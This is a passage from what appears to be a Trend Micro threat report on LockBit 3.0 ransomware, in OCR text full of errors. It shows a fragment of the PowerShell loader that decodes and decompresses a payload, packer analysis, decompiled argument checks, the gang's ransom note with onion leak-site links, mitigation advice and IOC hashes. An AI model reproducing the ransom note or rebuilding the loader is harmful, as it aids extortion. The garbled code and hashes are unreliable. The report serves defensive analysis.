Figure 27. LockBit 3.0’s payload

€597 75¢6b6b283e3b5cBcaceeld5d60902e7396536444b59513677a0466 7f8.ps1* |

3831
3832
3833
3834
3635
3836
3837
3838
3838
3840
3841
3842
3843
3844
38453
3846
3847

function Do-Exec(fPayload, fLen) {
fzipBytes [System.Convert]
5 New-Object IO.MemoryStream
s . write(SzipBytes, 0
Snull = $ms.Seek(0,0)
fExeImage = Mew-Object Byte[l{iLen)
§ds = New-Object I0.Compression.Defla
Snull tds  Read(SExeImage, 0, SLen
fds .Dispose()
Set-Content out.bin -value $Exelmage
# Exec -PEBytes $ExeImage

}

# Exe-file image will putted in next Tine
Do-Exec -Payload
goooo[1] -ea silentlyContinue;

§zipBytes.Length)

teStream(ims

-encoding byte

Figure 28. Dumping LockBit 3.0’s payload

[ Detect It Easy v3.00

File name
\payload.dl|
Entry point
10016464

Export

Sections TimeDateStamp
06-27 22:56:
Scan Endia

Detect Tt Easy(DiE)

inker

Signatures

100%

Import

LE

Reso

decoded_1.ps1* | decoded_2.psi* X

FromBase645tring{iPayload)

[System.I0.Compression.CompressionMode]

Sasm

urces

SizeOfImage

01

nNess

92

00024000

Mode

Architecture
DLL

Microsoft Linker(14.12)[DRIVER32]

Deep scan

[System.ID.Compression.CompressionMode]

Overlay

Manifest v

Decompress)

Decompress)

Memaory map

Strings
Entropy

Hex
ersion

Type

Options
About

Exit

Total

7.27627

90%

Entropy

Regions

Reload

"TLOLXIXS/ /9/NU01GGayRdmQ02 70k bMONXKKSVThxy QS TOTKELVTV] 1mShi s 820 Xynmu0OZ e inAtLu0I Tk 2mlQlaa3+vouwZGs Fda733F//:
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Entropy Status

PE Header | DO 00000400 1.92640 not packed
Section(0)[".text’] 00000400 ['1['1['1144[‘1 0 6.76690 packed

'%ectrorl(ll Jtext’] 00014800 2.29139 not packed

Section(2)[".rdata’] 00014e00 00000600 3.15926 not packed
LT~'E‘CU0I'1(“] .data 00015400  00D005e00 7.96423 packed

]
Section(4)['.pdata’] 0D01b200 00004000 7.93116 | packed
Section(5)[.reloc’] 0001f200 6.63880 packed

e Erre e R e L T e L T e L T R T e T e ]

20.000 40,000 60,000 80,000 100,000 120,000 140,000

Save

Close

Figure 29. LockBit 3.0’s main binary

Name = Date modified Type Size
19MqZqZ0s.README.txt 7/20/2022 5:47 PM Text Document 11 KB
-4 C€597c75c6b6b283e3b5c8caeee095d60902... 7/20/2022 2:03 PM PS1 Fie 1,245 KB
3 PMd1MHj.19MqZqZ0s 7/20/2022 5:47 PM 19MQZQZ0S File 507 KB
3 gDZLs0On.19MqZqZ0s 7/20/2022 5:47 PM 19MQZQZ0S File 15 KB
Il 19MqZqZ0s.README.txt - Notepad (=] 4|
Fle Edt Format View Help
[~~~ LockBit 3.0 the world's fastest and most stable ransomware from 2019~ -

>>>>> Your data is stolen and encrypted.

If you don't pay the ransom, the data will be published on our TOR darknet sites. Keep in mind that once your data
appears on our leak site, it could be bought by your competitors at any second, so don't hesitate for a long time.
The sooner you pay the ransom, the sooner your company will be safe.

Tor Browser Links:

http://Tockbitapt2d? 3krlbewgv27tquljaxr3i3dxbwwspbrkyieto7udncead. onion
http: //10ckb1tapt2yfbt?1cherug4?kmqquxvu%qumevu4133213gy6pyd.onion
http://lockbitapt3dkvripbxojylohhxrwsvpzdftgs5zdpbbsywnzsbdguqd. onion
http: //1ockb1tapt5x4zk]bcqmzﬁfrdhecqqgadevy1wqxukksspn11dyvd?qd.onion
http: //1ockb1taptﬁvxSTt3eeq]0fwgcg1mutr3335nygvckja5uucc1p4ykyd.onion
http: //1ockb1tapt721w55nﬁgnqpymggsk asyp7sry7 rirtdg4m?i42artsbad. onion
http://lockbitaptawjléudhpd3?3uehekiyatj6ftocxmkwessezsd4fqopijpid. onion
http://lockbitaptbdiajgtplcrigzgdiprwugkkuté3nbvy2dsrdw2agyekad. onion
http://lockbitaptc2igdatewz2iseb2q63iwfktyrldqtwuksqax262kgtzjqd. onion

Links for normal browser: .

http://lockbitapt2d7 3krlbewgv27tquljgxr33xbwwspbrkyieto7udncead. onion. ly
http://10Ckb1tapt?yfbt?1chxejugd?kmquqqxvu%qumevu4133213gy6pyd.0n]an.1y
http://lockbitapt3dkvrip6xojylohhxrwsvpzdftgs5zdpbbsywnzsbdguqd. onion. Ty
http://lockbitaptix4zkjbcgmzbfrdhecqqgadevyiwgxukksspnlidyvd7qd. onion. Ty
http://lockbitaptévx5s7t3eeqjofwgcgImutria3snygvokjasuuccipdykyd. onion. 1y
http://Tockbitapt72iwi5njgnapymggskasyp75ry7rirtdgdm?id42artsbad. onion. 1y

Figure 30. LockBit 3.0’s encrypted files with 19MqZqZ0s appended to their names

The payload of this specific LockBit 3.0 sample checks for only three hashed arguments (Figure 31), while the
previous LockBit 3.0 sample checks for eight. Its DLL payload is reflectively loaded, and the codes of its propagation
routine via admin shares and group policy are designed for PE (Portable Executable) binaries, not for a PowerShell
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script, which might explain why some of the routines don’t work. Another possibility is that LockBit 3.0’s ransomware
builder might have the option to disable certain routines. This LockBit 3.0 sample with the PowerShell script doesn’t
need a pass “key” to run even if there is a check for the -pass argument, although the rest of its routines are the
same as those in the abovementioned sample with a Win32 .exe file.

result = CommandLineToArgvW(vl, &v1E);
vl5 = result;
if { result )
{
if (vie > 1)
{
va[e] = -2930114@9; // .psi
v9[1] = -288882574;
va[2] -285671423;
sub_leee119e(ve, 3); Figure 31. The hashed arguments in the
v1l2 @x459F1CD7; // -pass
v1l @x452F4997; // -safe
v1le = @x45678B17; // -wall
1y (vi5 + 4);

v5 = hash_1eeellFe(*args, 8);
if ( vs == vi1l )
LockBit 3.0 sample with a PowerShell script

Locking out ransomware attacks

The LockBit ransomware gang led the ransomware-as-a-service (Raas)_scene in the first quarter of 2022, with 220
self-reported successful RaaS and extortion attacks. One headline-making attack reportedly took place in January,
during which LockBit operators claimed to have breached France’s Ministry of Justice. It would be no surprise if
some of BlackMatter’s affiliates had joined the ranks of the LockBit group, considering LockBit’s recent rise in
notoriety, which would explain the many similarities between the two pieces of ransomware.

With the release of this latest variant — and the launch of LockBit’s bug bounty program, which rewards its affiliates
— we expect the LockBit ransomware group to be even more active in the coming days. We advise organizations
and end users to be wary of this new variant, especially since the bug bounty program might help the operators in
making their ransomware an even more formidable one. Best practices for mitigating the risk of a ransomware attack
include:

« Following the 3-2-1 rule, which involves backing up files in three copies in two different formats, with one copy
stored off-site. This is a precautionary measure to avoid data loss in case of a ransomware attack.

o Remaining vigilant against socially engineered emails to reduce the risk of a ransomware infection, as
ransomware is commonly spread through malicious spam email attachments.

o Keeping applications and programs up to date. Regular patching ensures that software vulnerabilities that
ransomware actors could exploit as entry points can be addressed in a timely fashion.

Organizations can benefit from a multilayered approach that can help guard possible entry points into a system
(endpoint, email, web, and network). Trend Micro offers a suite of security solutions that can detect malicious
components and suspicious behavior, and improve an enterprise’s security posture. Trend Micro Vision One™
provides multilayered protection and behavior detection, which helps block suspicious behavior early in a system
before a ransomware infection can do irreversible damage. Trend Micro™ Deep Discovery™ Email Inspector uses
custom sandboxing and advanced analysis techniques to block malicious emails, including phishing emails that are
common entry points for ransomware. Additionally, Trend Micro Apex One™ offers automated threat detection and
response to protect endpoints from more advanced concerns such as fileless threats and ransomware.

Indicators of compromise (IOCs)
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https://www.trendmicro.com/vinfo/tmr/?/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022
https://www.politico.eu/article/infamous-ransomware-group-claims-it-hacked-frances-justice-ministry/#:~:text=An%20infamous%20cybercriminal%20group%20said,on%20a%20data%20leak%20site.
https://www.trendmicro.com/vinfo/tmr/?/us/security/definition/social-engineering
https://www.trendmicro.com/vinfo/tmr/?/us/security/news/security-technology/security-101-virtual-patching
https://www.trendmicro.com/en_us/business/products/detection-response.html
https://www.trendmicro.com/en_us/business/products/user-protection/sps/email-and-collaboration/email-inspector.html
https://www.trendmicro.com/en_us/business/products/user-protection/sps/endpoint.html

SHA-256

Detection name

80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4edad932ce

Ransom.Win32.LOCKBIT.YXCGD

a56b41a6023f828cccaaefd70874571d169fdb8f683a75edd430fbd31a2¢3f6e

Ransom.Win32.LOCKBIT.YXCGFT

d61af007f6¢c792b8fb6¢c677143b7d0e2533394e28c50737588e40da475c040ee

Ransom.Win32.LOCKBIT.YXCGD

506f3b12853375a1fbbf85c82ddf13341cf941cbacd4a39a51d6addf145a7a51

Ransom.Win32.LOCKBIT.YXCGKT

€597¢c75c6b6b283e3b5c8caeee095d60902e7396536444b59513677a946671f8

Ransom.PS1.LOCKBIT.YXCGTT

917e115cc403e29b4388e0d175cbfac3e7e40ca1742299fbdb353847db2de7c2

Ransom.Win32.LOCKBIT.YXCGT
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